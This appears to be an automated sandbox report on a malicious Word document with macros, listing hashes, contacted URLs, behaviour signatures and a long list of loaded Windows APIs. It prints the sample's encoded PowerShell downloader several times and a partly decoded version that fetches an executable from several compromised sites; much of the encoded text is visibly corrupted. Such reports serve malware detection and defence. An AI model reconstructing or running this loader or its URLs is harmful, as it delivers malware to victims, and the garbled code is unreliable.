

## INSRKvTPVwrsfy3UCM

Is DLL

Packer

Anti Debug

Anti VM

Signed

XOR

**MalScore: 100**

<b>File type:</b>	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code pag
<b>File size:</b>	193.33 KB (197968 bytes)
<b>Compile time:</b>	0000-00-00 00:00:00
<b>MD5:</b>	65a199d9d093328880fffe341f9b20ef
<b>SHA1:</b>	a117d4ca2294323d2bc3adcdd6e8948617290233
<b>Submitted:</b>	2021-08-28 11:36:06

### URL(s) file hosting

<http://agenciatablethouse.com.br/erros/FILE/INSRKvTPVwrsfy3UCM/>

### Antivirus Report

Report date	Detection Ratio	Permalink
No report available		

**15**

### Behaviors detected by system signatures

Domain Sinkholed or blacklisted

- Alert: Honeypot blocked domain: idilsoft.com
- Alert: Honeypot blocked domain: crewnecksusa.com
- Alert: Honeypot blocked domain: www.cupgel.com

Attempts to execute suspicious powershell command arguments

- command: powershell -en JABHAHkAZwBwAG8AaAA1AD0AKAAnAE8AYQAnACsAJwBzACcAKwAoACcAaQAnACsAJwBzADMAcAAnACkAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBzAGUAUgBwAFIAbwBGAEkATABIAFwAVvBjADUAUwB1AHcAZABcAgkASgB6AGUAcgBsAEQAXAAGAC0AaQB0AGUAbQB0AHkAcABIACAAZABJAFIARQBDAHQATwByAFkAOwBb

```
AE4AZQB0AC4AUwBIAHIA dgBpAGMAZQBQAG8AaQB uAHQATQBhAG4AYQBnAGUAcgBdADoA  
OgAiAFMAZQBDAHU AUgBJAGAAVABgAHkAYABwAGAAUgBvAHQAbwBgAGMAbwBsACIAIAA9A  
CAAKAAoACcAdABsACcAKwAnAHMAMQAYACcAKQArACgAJwAsACAAJwArACcAdABsACcAKQ  
ArACgAJwBzACcAKwAnADEAMQAsACcAKQArACgAJwAGcACcAKwAnAHQAbABzACcAKQApADs  
AJABBAGwAMQBvADQAcwAwACAAPQAgcAGcAKAAnAEYAMQAnACsAJwByAHgAJwApACsAKA  
AnAGcANAAAnACsAJwB2ACcAKQArACcANwAnACkAOwAkAFkAMQBjAGGAAABwAHoAPQAOACg  
AJwBCACcAKwAnAGYAZgBsAHQAjwApACsAJwB2ACcAKwAnAHkAJwApADsAJABNAHgAcQBIA  
GwANwBsAD0AJABIAG4AdgA6AHUAcwBIAHIACByAG8AZgBpAGwAZQArACgAKAAoACcAZAB  
WAFgAJwArACcAvBjADUAJwApACsAJwBzACcAKwAnAHUAJwArACgAJwB3AGQAJwArACcAZ  
AAnACkAKwAoACcAVgBYACcAKwAnAEkAJwApACsAKAAnAGoAJwArACcAegBIACcAKwAnAHIA  
bABkAGQAVgBYACcAKQApACAAIAAtAHIAHQBQAGwAQQBDAEUAIAAoAFsAQwBoAEEAUgBdA  
DEAMAAwACsAWwBDAGgAQQBSAF0AOAA2ACsAWwBDAGgAQQBSAF0AOAA4ACkALABbAE  
MAaABBAFIAXQA5ADIAKQArACQAQQBsADEAbwA0AHMAMAARACgAKAAnAC4AZQAnACsAJwB  
4ACcAKQArACcAZQAnACkAOwAkAFgAOQB0AGQANgBfAHUAPQAOACcAQQAnACsAJwA4ADM  
AJwArACgAJwA1ACcAKwAnAHEAcgBxACcAKQApADsAJABRAHUAMwB5AGMANQBqAD0AJgAo  
ACcAbgBIAHcALQBvACcAKwAnAGIAagAnACsAJwBIAGMAdAAnACkAIABOAGUAVAAuAFcARQB  
CAEMAbABJAEUATgB0ADsAJABWADcAOABzAHUAaABmAD0AKAAoACcAaAB0ACcAKwAnAHQ  
AcAAnACkAKwAoACcAOgAvACcAKwAnAC8AJwApACsAJwB6ACcAKwAnAHAAJwArACcAbAB1A  
CcAKwAnAHMAJwArACcAcwAnACsAKAAnAGgAJwArACcAbwBwAHAAJwArACcAaQBAGcAJwA  
pACsAJwAuAGMAJwArACcAbwAnACsAKAAnAG0ALwAnACsAJwB3AHAALQAnACkAKwAnAGMA  
JwArACcAbwBuACcAKwAnAHQAZQAnACsAJwBuAHQAjwArACgAJwAvAHAAJwArACcAbAAAnACk  
AKwAoACcAdQBnAGkAJwArACcAbgAnACkAKwAnAHMALwAnACsAKAAnADgAZQBrACcAKwAnA  
C8AJwApACsAKAAnACoAaAnACsAJwB0AHQAcAAnACkAKwAnAHMAJwArACgAJwA6AC8AJwA  
rACcALwB3ACcAKQArACcAdwB3ACcAKwAnAC4AYwAnACsAKAAnAHUAcABnAGUAJwArACcAb  
AAuACcAKQArACgAJwBjACcAKwAnAG8AbQAnACkAKwAoACcALwAnACsAJwBfACcAKwAnAF8A  
TQBBAEMATwBTAFgAJwArACcALwAzACcAKwAnAC8AKgBoAHQAjwApACsAJwB0ACcAKwAoA  
CcAcAA6ACcAKwAnAC8ALwAnACkAKwAnAGYAcgAnACsAKAAnAGUAZQBzACcAKwAnAHAAJw  
ApACsAJwBpACcAKwAoACcAcgBpAHQAbQBpAG4AZAAnACsAJwAuAGMAJwArACcAbwBtACcA  
KQArACgAJwAvACcAKwAnAE0AQQBTAEQALwBIACcAKwAnAG8AdwAnACkAKwAoACcAVAAAnA  
CsAJwBvAC8AYwBzACcAKQArACcAcwAnACsAKAAnAC8ASgAvACoAaAnACsAJwB0ACcAKQAr  
ACgAJwB0AHAAOgAnACsAJwAvAC8AYwByACcAKQArACcAZQAnACsAKAAnAHcAJwArACcAbg  
BIACcAKQArACgAJwBj
```

```
- decoded_base64_string:  
$ Gygpoh5=('Oa'+s+'i'+s3p));.('ne'+w-item')  
$env:UserProfile\Wc5Suwd\iJzerID\ -itemtype  
directory;[Net.ServicePointManager]::"SeCuRi`T`y`p`Roto`col  
" = (('tl'+s12')+(' '+tl')+('s'+11,')+(' '+tls'));$A11o4s0 =  
(('F1'+rx')+('g4'+v')+7);$Y1chhpz=('B'+fflt')+v+y);$Mxqb  
l7l=$env:userprofile+((('dVX'+Wc5')+s'+u'+('wd'+d')+('VX'+l  
)+'j'+ze+'rlddVX')) -rEPIACE  
([ChAR]100+[ChAR]86+[ChAR]88),[ChAR]92)+$A11o4s0+(('.e'+  
x')+e);$X9td6_u=('A'+83+'5'+'qrq'));$Qu3yc5j=&('new-o'+bj  
'+ect')  
Net.WebClient;$V78suhf=((('ht'+tp')+('/:'+'/')+z+'p'+lu'+s'+  
s'+('h'+opp+'ing')+'.c'+o'+('m/'+wp-)+c'+on'+te'+nt'+('/p'  
+'l')+('ugi'+n)+s'+('8ek'+'/')+('h'+ttp')+s'+('/:'+'/w')+ww'+  
'c'+('upge'+l.))+('c'+om')+('/'+'_'+_MACOSX'+'/3'+'/*ht')+t'+  
(('p'+'/')+fr+('ees'+p))+i+('ritmind'+'.c'+om')+('/'+MASD/H'  
+'ow')+('T'+o/cs')+s'+('/J/*h'+t')+('tp'+://cr')+e+('w'+ne')+  
(('c'+ks')+('u'+sa')+('.co'+m))+('/'+wp)+('-co'+nt))+en+('t/N  
J'+/'*'+htt')+p'+('//w'+ww.'+do')+ug'+su'+('ni'+ve))+rs'+e  
'+c'+('o'+m'+)+pi'+cs'+/y'+('L8/'+'+'+http))+('s://idil'+s'+o  
'+('ft.'+c))+o+('m/admi'+n/B/'+'+h'+t')+tp'+s+('/:'+//gu'+h  
aa'+s')+m'+a'+r+('t.'+com))+('/w'+p))+-c'+on'+t'+e
```

Attempts to create or modify system certificates

A scripting utility was executed

```
- command: powershell -en  
JABHAHkAZwBwAG8AaAA1AD0AKAAnAE8AYQAnACsAJwBzACcAKwAoACcAaQAnACsAJwBzA  
DMAcAAnACkAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQB0AGUAbQAnACkAIAAKAGUAbg  
BWADoAVQBzAGUAUgBwAFIAbwBGAEkATABIAFwAVwBjADUAUwB1AHcAZABcAGkASgB6AGU  
AcgBsAEQAXAAGAC0AaQB0AGUAbQB0AHkAcABIACAAZABJAFIARQBDAHQATwByAFkAOwBb
```

AE4AZQB0AC4AUwBIAHIAdgBpAGMAZQBQAG8AaQBuaHQATQBhAG4AYQBnAGUAcgBdADoA  
OgAiAFMAZQBDAHUUAUgBJAGAAVABgAHkAYABwAGAAUgBvAHQAAbwBgAGMAbwBsACIAIAA9A  
CAAKAAoACcAdABsACcAKwAnAHMAMQAYACcAKQArACgAJwAsACAAJwArACcAdABsACcAKQ  
ArACgAJwBzACcAKwAnADEAMQAsACcAKQArACgAJwAgACcAKwAnAHQAAbBzACcAKQApADs  
AJABBAGwAMQBvADQAcwAwACAAPQAgACgAKAAAnAEYAMQAnACsAJwByAHgAJwApACsAKA  
AnAGcANAAAnACsAJwB2ACcAKQArACcANwAnACkAOwAkAFkAMQBjAGgAaABwAHoAPQAoACg  
AJwBCACcAKwAnAGYAZgBsAHQAjwApACsAJwB2ACcAKwAnAHkAJwApADsAJABNAHgAcQBIa  
GwANwBsAD0AJABIAG4AdgA6AHUAcwBIAHIACAbYAG8AZgBpAGwAZQArACgAKAAoACcAZAB  
WAFgAJwArACcAvBjADUAJwApACsAJwBzACcAKwAnAHUAJwArACgAJwB3AGQAJwArACcAZ  
AAnACkAKwAoACcAVgBYACcAKwAnAEkAJwApACsAKAAAnAGoAJwArACcAegBIACcAKwAnAHIA  
bABkAGQAVgBYACcAKQApACAAIAAtAHIAHQBQAGwAQQBDAEUAIaAoAFsAQwBoAEEAUgBdA  
DEAMAAwACsAWwBDAGgAQQBSAF0AOAA2ACsAWwBDAGgAQQBSAF0AOAA4ACkALABbAE  
MAaABBFAIXQA5ADIAKQArACQAQQBsADEAbwA0AHMAMAARACgAKAAAnAC4AZQAnACsAJwB  
4ACcAKQArACcAZQAnACkAOwAkAFgAQOB0AGQANgBfAHUAPQAoACcAQQAnACsAJwA4ADM  
AJwArACgAJwA1ACcAKwAnAHEAcgBxACcAKQApADsAJABRAHUAMwB5AGMANQBqAD0AJgAo  
ACcAbgBIAHcALQBvACcAKwAnAGIAagAnACsAJwBIAGMAdAAnACkAIABOAGUAVAAuAFcARQB  
CAEMAbABJAEUATgB0ADsAJABWADcAOABzAHUAaABmAD0AKAAoACcAaAB0ACcAKwAnAHQ  
AcAAAnACkAKwAoACcAOgAvACcAKwAnAC8AJwApACsAJwB6ACcAKwAnAHAAJwArACcAbAB1A  
CcAKwAnAHMAJwArACcAcwAnACsAKAAAnAGgAJwArACcAbwBwAHAAJwArACcAaQBAGcAJwA  
pACsAJwAuAGMAJwArACcAbwAnACsAKAAAnAG0ALwAnACsAJwB3AHAALQAnACkAKwAnAGMA  
JwArACcAbwBuACcAKwAnAHQAQZQAnACsAJwBuAHQAjwArACgAJwAvAHAAJwArACcAbAAAnACk  
AKwAoACcAdQBNAGkAJwArACcAbgAnACkAKwAnAHMALwAnACsAKAAAnADgAZQBrACcAKwAnA  
C8AJwApACsAKAAAnACoAaAnACsAJwB0AHQAACAAAnACkAKwAnAHMAJwArACgAJwA6AC8AJwA  
rACcALwB3ACcAKQArACcAdwB3ACcAKwAnAC4AYwAnACsAKAAAnAHUAcABnAGUAJwArACcAb  
AAuACcAKQArACgAJwBjACcAKwAnAG8AbQAnACkAKwAoACcALwAnACsAJwBfACcAKwAnAF8A  
TQBBAEMATwBTAFgAJwArACcALwAzACcAKwAnAC8AKgBoAHQAjwApACsAJwB0ACcAKwAoA  
CcAcAA6ACcAKwAnAC8ALwAnACkAKwAnAGYAcgAnACsAKAAAnAGUAZQBzACcAKwAnAHAAJw  
ApACsAJwBpACcAKwAoACcAcgBpAHQAAbQBpAG4AZAAnACsAJwAuAGMAJwArACcAbwBtACcA  
KQArACgAJwAvACcAKwAnAE0AQQBTAEQALwBIACcAKwAnAG8AdwAnACkAKwAoACcAVAAAnA  
CsAJwBvAC8AYwBzACcAKQArACcAcwAnACsAKAAAnAC8ASgAvACoAaAnACsAJwB0ACcAKQAr  
ACgAJwB0AHAAOgAnACsAJwAvAC8AYwByACcAKQArACcAZQAnACsAKAAAnAHcAJwArACcAbg  
BIACcAKQArACgAJwBj

The office file has 2 macros.

Performs some HTTP requests

- url: <http://zplussshopping.com/wp-content/plugins/8ek/>
- url: <http://freespiritmind.com/MASD/HowTo/css/J/>
- url: <http://crewnecksusa.com/wp-content/NJ/>
- url: <http://www.dougsuniverse.com/pics/yL8/>

HTTP traffic contains suspicious features which may be indicative of malware related traffic

- get\_no\_useragent: HTTP traffic contains a GET request with no user-agent header
- suspicious\_request: <http://zplussshopping.com/wp-content/plugins/8ek/>
- suspicious\_request: <http://freespiritmind.com/MASD/HowTo/css/J/>
- suspicious\_request: <http://crewnecksusa.com/wp-content/NJ/>
- suspicious\_request: <http://www.dougsuniverse.com/pics/yL8/>

Executed a very long command line or script command which may be indicative of chained commands or obfuscation

```
- command: powershell -en  
JABHAHkAZwBwAG8AaAA1AD0AKAAAnAE8AYQAnACsAJwBzACcAKwAoACcAaQAnACsAJwBzA  
DMACAAAnACkAKQA7AC4AKAAAnAG4AZQAnACsAJwB3AC0AaQB0AGUAbQAnACkAIaAKAGUAbg  
BWADoAVQBzAGUAUgBwAFIAbwBGAEkATABIAFwAVwBjADUAUwB1AHcAZABcAGkASgB6AGU  
AcgBsAEQAXAAGAC0AaQB0AGUAbQB0AHkAcABIACAABZABJAFIARQBDAHQATwByAFkAOwBb  
AE4AZQB0AC4AUwBIAHIAdgBpAGMAZQBQAG8AaQBuaHQATQBhAG4AYQBnAGUAcgBdADoA  
OgAiAFMAZQBDAHUUAUgBJAGAAVABgAHkAYABwAGAAUgBvAHQAAbwBgAGMAbwBsACIAIAA9A  
CAAKAAoACcAdABsACcAKwAnAHMAMQAYACcAKQArACgAJwAsACAAJwArACcAdABsACcAKQ  
ArACgAJwBzACcAKwAnADEAMQAsACcAKQArACgAJwAgACcAKwAnAHQAAbBzACcAKQApADs  
AJABBAGwAMQBvADQAcwAwACAAPQAgACgAKAAAnAEYAMQAnACsAJwByAHgAJwApACsAKA  
AnAGcANAAAnACsAJwB2ACcAKQArACcANwAnACkAOwAkAFkAMQBjAGgAaABwAHoAPQAoACg  
AJwBCACcAKwAnAGYAZgBsAHQAjwApACsAJwB2ACcAKwAnAHkAJwApADsAJABNAHgAcQBIa
```













- DynamicLoader: mso.dll/MsoFWndProcNeeded
- DynamicLoader: mso.dll/MsoFWndProc
- DynamicLoader: mso.dll/MsoFCreatelTFCHwnd
- DynamicLoader: mso.dll/MsoDestroyITFC
- DynamicLoader: mso.dll/MsoFPitbsFromHwndAndMsg
- DynamicLoader: mso.dll/MsoFGetComponentManager
- DynamicLoader: mso.dll/MsoMultiByteToWideChar
- DynamicLoader: mso.dll/MsoWideCharToMultiByte
- DynamicLoader: mso.dll/MsoHrRegisterAll
- DynamicLoader: mso.dll/MsoFSetComponentManager
- DynamicLoader: mso.dll/MsoFCreateStdComponentManager
- DynamicLoader: mso.dll/MsoFHandledMessageNeeded
- DynamicLoader: mso.dll/MsoPeekMessage
- DynamicLoader: mso.dll/MsoGetWWWCmdInfo
- DynamicLoader: mso.dll/MsoFExecWWWHelp
- DynamicLoader: mso.dll/MsoFCreatelPref
- DynamicLoader: mso.dll/MsoDestroyIPref
- DynamicLoader: mso.dll/MsoChsFromLid
- DynamicLoader: mso.dll/MsoCpgFromChs
- DynamicLoader: mso.dll/MsoSetLocale
- DynamicLoader: mso.dll/MsoFSetHMsoinstOfSdm
- DynamicLoader: mso.dll/MsoVBADigSig2CallDlgEx
- DynamicLoader: mso.dll/MsoVbalnitSecurityEx
- DynamicLoader: OLEAUT32.dll/SysFreeString
- DynamicLoader: OLEAUT32.dll/LoadTypeLib
- DynamicLoader: OLEAUT32.dll/RegisterTypeLib
- DynamicLoader: OLEAUT32.dll/QueryPathOfRegTypeLib
- DynamicLoader: OLEAUT32.dll/UnRegisterTypeLib
- DynamicLoader: OLEAUT32.dll/OleTranslateColor
- DynamicLoader: OLEAUT32.dll/OleCreateFontIndirect
- DynamicLoader: OLEAUT32.dll/OleCreatePictureIndirect
- DynamicLoader: OLEAUT32.dll/OleLoadPicture
- DynamicLoader: OLEAUT32.dll/OleCreatePropertyFrameIndirect
- DynamicLoader: OLEAUT32.dll/OleCreatePropertyFrame
- DynamicLoader: OLEAUT32.dll/OleIconToCursor
- DynamicLoader: OLEAUT32.dll/LoadTypeLibEx
- DynamicLoader: OLEAUT32.dll/OleLoadPictureEx
- DynamicLoader: USER32.dll/GetSystemMetrics
- DynamicLoader: USER32.dll/MonitorFromWindow
- DynamicLoader: USER32.dll/MonitorFromRect
- DynamicLoader: USER32.dll/MonitorFromPoint
- DynamicLoader: USER32.dll/EnumDisplayMonitors
- DynamicLoader: USER32.dll/GetMonitorInfoA
- DynamicLoader: USER32.dll/EnumDisplayDevicesA
- DynamicLoader: OLEAUT32.dll/GetRecordInfoFromTypeInfo
- DynamicLoader: OLEAUT32.dll/GetRecordInfoFromGuids
- DynamicLoader: OLEAUT32.dll/SafeArrayGetRecordInfo
- DynamicLoader: OLEAUT32.dll/SafeArraySetRecordInfo
- DynamicLoader: OLEAUT32.dll/SafeArrayGetIID
- DynamicLoader: OLEAUT32.dll/SafeArraySetIID
- DynamicLoader: OLEAUT32.dll/SafeArrayCopyData
- DynamicLoader: OLEAUT32.dll/SafeArrayAllocDescriptorEx
- DynamicLoader: OLEAUT32.dll/SafeArrayCreateEx
- DynamicLoader: OLEAUT32.dll/VarFormat
- DynamicLoader: OLEAUT32.dll/VarFormatDateTime
- DynamicLoader: OLEAUT32.dll/VarFormatNumber
- DynamicLoader: OLEAUT32.dll/VarFormatPercent
- DynamicLoader: OLEAUT32.dll/VarFormatCurrency
- DynamicLoader: OLEAUT32.dll/VarWeekdayName
- DynamicLoader: OLEAUT32.dll/VarMonthName
- DynamicLoader: OLEAUT32.dll/VarAdd
- DynamicLoader: OLEAUT32.dll/VarAnd
- DynamicLoader: OLEAUT32.dll/VarCat





- DynamicLoader: OLEAUT32.dll/VarDiv
- DynamicLoader: OLEAUT32.dll/VarEqv
- DynamicLoader: OLEAUT32.dll/VarIdiv
- DynamicLoader: OLEAUT32.dll/VarImp
- DynamicLoader: OLEAUT32.dll/VarMod
- DynamicLoader: OLEAUT32.dll/VarMul
- DynamicLoader: OLEAUT32.dll/VarOr
- DynamicLoader: OLEAUT32.dll/VarPow
- DynamicLoader: OLEAUT32.dll/VarSub
- DynamicLoader: OLEAUT32.dll/VarXor
- DynamicLoader: OLEAUT32.dll/VarAbs
- DynamicLoader: OLEAUT32.dll/VarFix
- DynamicLoader: OLEAUT32.dll/VarInt
- DynamicLoader: OLEAUT32.dll/VarNeg
- DynamicLoader: OLEAUT32.dll/VarNot
- DynamicLoader: OLEAUT32.dll/VarRound
- DynamicLoader: OLEAUT32.dll/VarCmp
- DynamicLoader: OLEAUT32.dll/VarDecAdd
- DynamicLoader: OLEAUT32.dll/VarDecCmp
- DynamicLoader: OLEAUT32.dll/VarBstrCat
- DynamicLoader: OLEAUT32.dll/VarCyMull4
- DynamicLoader: OLEAUT32.dll/VarCyMul
- DynamicLoader: OLEAUT32.dll/VarCyInt
- DynamicLoader: OLEAUT32.dll/VarCyFix
- DynamicLoader: OLEAUT32.dll/VarBstrCmp
- DynamicLoader: ole32.dll/CoCreateInstanceEx
- DynamicLoader: ole32.dll/CLSIDFromProgIDEx
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/MsoMultiByteToWideChar
- DynamicLoader: ADVAPI32.dll/RegEnumKeyW
- DynamicLoader: SXS.DLL/SxsOleAut32MapConfiguredClsidToReferenceClsid
- DynamicLoader: mso.dll/
- DynamicLoader: OLEAUT32.dll/RegisterTypeLibForUser
- DynamicLoader: mso.dll/
- DynamicLoader: Comctl32.dll/ImageList\_Destroy
- DynamicLoader: Comctl32.dll/ImageList\_GetIconSize
- DynamicLoader: Comctl32.dll/InitCommonControls
- DynamicLoader: Comctl32.dll/ImageList\_LoadImageA
- DynamicLoader: Comctl32.dll/ImageList\_SetOverlayImage
- DynamicLoader: Comctl32.dll/ImageList\_AddMasked
- DynamicLoader: Comctl32.dll/ImageList\_GetImageInfo
- DynamicLoader: Comctl32.dll/ImageList\_Draw
- DynamicLoader: Comctl32.dll/ImageList\_DrawEx
- DynamicLoader: Comctl32.dll/PropertySheetA
- DynamicLoader: Comctl32.dll/DestroyPropertySheetPage
- DynamicLoader: Comctl32.dll/CreatePropertySheetPageA
- DynamicLoader: Comctl32.dll/RegisterClassNameW
- DynamicLoader: uxtheme.dll/OpenThemeData
- DynamicLoader: uxtheme.dll/GetThemeColor
- DynamicLoader: uxtheme.dll/IsThemePartDefined
- DynamicLoader: uxtheme.dll/GetThemeBool
- DynamicLoader: uxtheme.dll/GetThemeFont
- DynamicLoader: Comctl32.dll/HIMAGELIST\_QueryInterface
- DynamicLoader: Comctl32.dll/DrawShadowText
- DynamicLoader: Comctl32.dll/DrawSizeBox
- DynamicLoader: Comctl32.dll/DrawScrollBar
- DynamicLoader: Comctl32.dll/SizeBoxHwnd
- DynamicLoader: Comctl32.dll/ScrollBar\_MouseMove
- DynamicLoader: Comctl32.dll/ScrollBar\_Menu
- DynamicLoader: Comctl32.dll/HandleScrollCmd



- DynamicLoader: Comctl32.dll/DetachScrollBars
- DynamicLoader: Comctl32.dll/AttachScrollBars
- DynamicLoader: Comctl32.dll/CCSetScrollInfo
- DynamicLoader: Comctl32.dll/CCGetScrollInfo
- DynamicLoader: Comctl32.dll/CCEnableScrollBar
- DynamicLoader: Comctl32.dll/QuerySystemGestureStatus
- DynamicLoader: uxtheme.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: Comctl32.dll/RegisterClassNameW
- DynamicLoader: uxtheme.dll/GetThemeMargins
- DynamicLoader: uxtheme.dll/GetThemeInt
- DynamicLoader: Comctl32.dll/RegisterClassNameW
- DynamicLoader: uxtheme.dll/SetWindowTheme
- DynamicLoader: uxtheme.dll/CloseThemeData
- DynamicLoader: Comctl32.dll/RegisterClassNameW
- DynamicLoader: IMM32.DLL/ImmAssociateContext
- DynamicLoader: Comctl32.dll/RegisterClassNameW
- DynamicLoader: Comctl32.dll/RegisterClassNameW
- DynamicLoader: uxtheme.dll/EnableThemeDialogTexture
- DynamicLoader: GDI32.dll/GdiIsMetaPrintDC
- DynamicLoader: Comctl32.dll/RegisterClassNameW
- DynamicLoader: IMM32.DLL/ImmIsIME
- DynamicLoader: uxtheme.dll/GetThemeTextMetrics
- DynamicLoader: uxtheme.dll/GetThemeTextExtent
- DynamicLoader: uxtheme.dll/GetThemeBackgroundExtent
- DynamicLoader: riched20.dll/CreateTextServices
- DynamicLoader: ole32.dll/OleInitialize
- DynamicLoader: ole32.dll/OleUninitialize
- DynamicLoader: ole32.dll/CoCreateInstance
- DynamicLoader: VBE7.DLL/
- DynamicLoader: mso.dll/
- DynamicLoader: VBE7.DLL/
- DynamicLoader: VBE7.DLL/
- DynamicLoader: VBE7.DLL/
- DynamicLoader: mso.dll/
- DynamicLoader: kernel32.dll/GetTickCount64
- DynamicLoader: VBE7.DLL/
- DynamicLoader: VBE7.DLL/
- DynamicLoader: mso.dll/
- DynamicLoader: kernel32.dll/GetThreadPreferredUILanguages
- DynamicLoader: kernel32.dll/SetThreadPreferredUILanguages
- DynamicLoader: kernel32.dll/LocaleNameToLCID
- DynamicLoader: kernel32.dll/GetLocaleInfoEx
- DynamicLoader: kernel32.dll/LCIDToLocaleName
- DynamicLoader: kernel32.dll/GetSystemDefaultLocaleName
- DynamicLoader: fastprox.dll/DllGetClassObject
- DynamicLoader: fastprox.dll/DllCanUnloadNow
- DynamicLoader: kernel32.dll/RegOpenKeyExW
- DynamicLoader: kernel32.dll/LoadLibraryW
- DynamicLoader: GdiPlus.dll/GdiplusStartup
- DynamicLoader: USER32.dll/GetWindowInfo
- DynamicLoader: USER32.dll/GetAncestor
- DynamicLoader: USER32.dll/GetMonitorInfoA
- DynamicLoader: USER32.dll/EnumDisplayMonitors
- DynamicLoader: USER32.dll/EnumDisplayDevicesA
- DynamicLoader: GDI32.dll/ExtTextOutW
- DynamicLoader: GDI32.dll/GdiIsMetaPrintDC
- DynamicLoader: GdiPlus.dll/GdiLoadImageFromStreamICM
- DynamicLoader: WindowsCodecs.dll/DllGetClassObject
- DynamicLoader: kernel32.dll/WerRegisterMemoryBlock
- DynamicLoader: GdiPlus.dll/GdiGetImageRawFormat
- DynamicLoader: GdiPlus.dll/GdiGetImageFlags
- DynamicLoader: GdiPlus.dll/GdiGetImageWidth





- DynamicLoader: GdiPlus.dll/GdipStartPathFigure
- DynamicLoader: GdiPlus.dll/GdipAddPathLine2
- DynamicLoader: GdiPlus.dll/GdipClosePathFigure
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipClonePath
- DynamicLoader: GdiPlus.dll/GdipCreateMatrix2
- DynamicLoader: GdiPlus.dll/GdipTransformPath
- DynamicLoader: GdiPlus.dll/GdipDeleteMatrix
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipAddPathPolygon
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipGetPathWorldBounds
- DynamicLoader: GdiPlus.dll/GdipCreatePen1
- DynamicLoader: GdiPlus.dll/GdipSetPenLineCap197819
- DynamicLoader: GdiPlus.dll/GdipSetPenLineJoin
- DynamicLoader: GdiPlus.dll/GdipSetPenMiterLimit
- DynamicLoader: GdiPlus.dll/GdipCreatePathIter
- DynamicLoader: GdiPlus.dll/GdipPathIterRewind
- DynamicLoader: GdiPlus.dll/GdipPathIterNextSubpath
- DynamicLoader: GdiPlus.dll/GdipPathIterCopyData
- DynamicLoader: GdiPlus.dll/GdipDeletePathIter
- DynamicLoader: GdiPlus.dll/GdipAddPathLine
- DynamicLoader: GdiPlus.dll/GdipClonePen
- DynamicLoader: GdiPlus.dll/GdipSetPenStartCap
- DynamicLoader: GdiPlus.dll/GdipSetPenEndCap
- DynamicLoader: GdiPlus.dll/GdipDeletePen
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipCreateFromHDC
- DynamicLoader: GdiPlus.dll/GdipSetPixelOffsetMode
- DynamicLoader: GdiPlus.dll/GdipSetSmoothingMode
- DynamicLoader: GdiPlus.dll/GdipSetCompositingQuality
- DynamicLoader: GdiPlus.dll/GdipSetPageUnit
- DynamicLoader: GdiPlus.dll/GdipSetInterpolationMode
- DynamicLoader: GdiPlus.dll/GdipGetSmoothingMode
- DynamicLoader: GdiPlus.dll/GdipCreateMatrix
- DynamicLoader: GdiPlus.dll/GdipGetWorldTransform
- DynamicLoader: GdiPlus.dll/GdipMultiplyWorldTransform
- DynamicLoader: GdiPlus.dll/GdipCreateBitmapFromGdiDib
- DynamicLoader: GdiPlus.dll/GdipDrawImagePointsRect
- DynamicLoader: GdiPlus.dll/GdipCreateStringFormat
- DynamicLoader: GdiPlus.dll/GdipSetStringFormatTrimming
- DynamicLoader: GdiPlus.dll/GdipCreateFontFromLogfontA
- DynamicLoader: kernel32.dll/RegOpenKeyExW
- DynamicLoader: kernel32.dll/RegQueryInfoKeyA
- DynamicLoader: kernel32.dll/RegCloseKey
- DynamicLoader: kernel32.dll/RegCreateKeyExW
- DynamicLoader: kernel32.dll/RegQueryValueExW
- DynamicLoader: GdiPlus.dll/GdipCreateSolidFill
- DynamicLoader: GdiPlus.dll/GdipDrawString
- DynamicLoader: GdiPlus.dll/GdipDeleteBrush
- DynamicLoader: GdiPlus.dll/GdipDeleteFont
- DynamicLoader: GdiPlus.dll/GdipDeleteStringFormat
- DynamicLoader: GdiPlus.dll/GdipSetWorldTransform
- DynamicLoader: GdiPlus.dll/GdipDrawPath
- DynamicLoader: GdiPlus.dll/GdipDeleteGraphics
- DynamicLoader: GdiPlus.dll/GdipTransformPoints
- DynamicLoader: GdiPlus.dll/GdipCreateBitmapFromGraphics
- DynamicLoader: GdiPlus.dll/GdipGetImageGraphicsContext
- DynamicLoader: GdiPlus.dll/GdipTranslateWorldTransform
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipCreateImageAttributes
- DynamicLoader: GdiPlus.dll/GdipSetImageAttributesWrapMode
- DynamicLoader: GdiPlus.dll/GdipGetImageType







- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipGetInterpolationMode
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipResetWorldTransform
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipCreateRegion
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipGetClip
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipSetClipRegion
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipDeleteRegion
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipSetClipRectl
- DynamicLoader: mso.dll/
- DynamicLoader: USP10.DLL/ScriptItemize
- DynamicLoader: USP10.DLL/ScriptPlace
- DynamicLoader: USP10.DLL/ScriptShape
- DynamicLoader: USP10.DLL/ScriptItemizeOpenType
- DynamicLoader: USP10.DLL/ScriptPlaceOpenType
- DynamicLoader: USP10.DLL/ScriptShapeOpenType
- DynamicLoader: USP10.DLL/ScriptJustify
- DynamicLoader: USP10.DLL/ScriptTextOut
- DynamicLoader: USP10.DLL/ScriptCPToX
- DynamicLoader: USP10.DLL/ScriptXtoCP
- DynamicLoader: USP10.DLL/ScriptFreeCache
- DynamicLoader: USP10.DLL/ScriptCacheGetHeight
- DynamicLoader: USP10.DLL/ScriptGetCMap
- DynamicLoader: USP10.DLL/ScriptLayout
- DynamicLoader: USP10.DLL/ScriptBreak
- DynamicLoader: USP10.DLL/ScriptIsComplex
